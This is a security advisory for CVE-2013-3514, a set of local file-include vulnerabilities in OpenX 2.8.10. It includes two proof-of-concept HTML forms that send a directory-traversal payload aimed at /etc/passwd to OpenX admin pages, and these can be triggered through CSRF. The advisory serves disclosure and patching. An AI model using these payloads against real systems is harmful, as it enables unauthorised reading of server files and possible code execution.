OpenX CVE-2013-3514 Multiple Local File Include Vulnerabilities

Bugtraq ID:	60931
Class:	Input Validation Error
CVE:	CVE-2013-3514
Remote:	Yes
Local:	No
Published:	Jul 03 2013 12:00AM
Updated:	Jul 03 2013 12:00AM
Credit:	High-Tech Bridge Security Research Lab
Vulnerable:
Not Vulnerable:

OpenX CVE-2013-3514 Multiple Local File Include Vulnerabilities

OpenX is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings to view files and execute local script code in the context of the web server process. This may allow the attacker to compromise the application; other attacks are also possible.

Note: Exploiting these issues requires administrative privileges, but it can also be exploited through cross-site request forgery vectors by a remote non-authenticated attacker.

OpenX 2.8.10 is vulnerable; other versions may also be affected.

OpenX CVE-2013-3514 Multiple Local File Include Vulnerabilities

Attackers can exploit these issues through a browser.

The following example data is available:

<form action="http://www.example.com/www/admin/plugin-preferences.php?group=../../../../../etc/passwd%00"; method="post"
name="main">
<input type="hidden" name="submitok" value="true">
<input type="submit" id="btn">
</form>

<form action="http://www.example.com/www/admin/plugin-settings.php?group=../../../../../etc/passwd%00"; method="post" name="main">
<input type="hidden" name="submitok" value="true">
<input type="submit" id="btn">
</form>

OpenX CVE-2013-3514 Multiple Local File Include Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

OpenX CVE-2013-3514 Multiple Local File Include Vulnerabilities

References:

• OpenX Homepage (OpenX)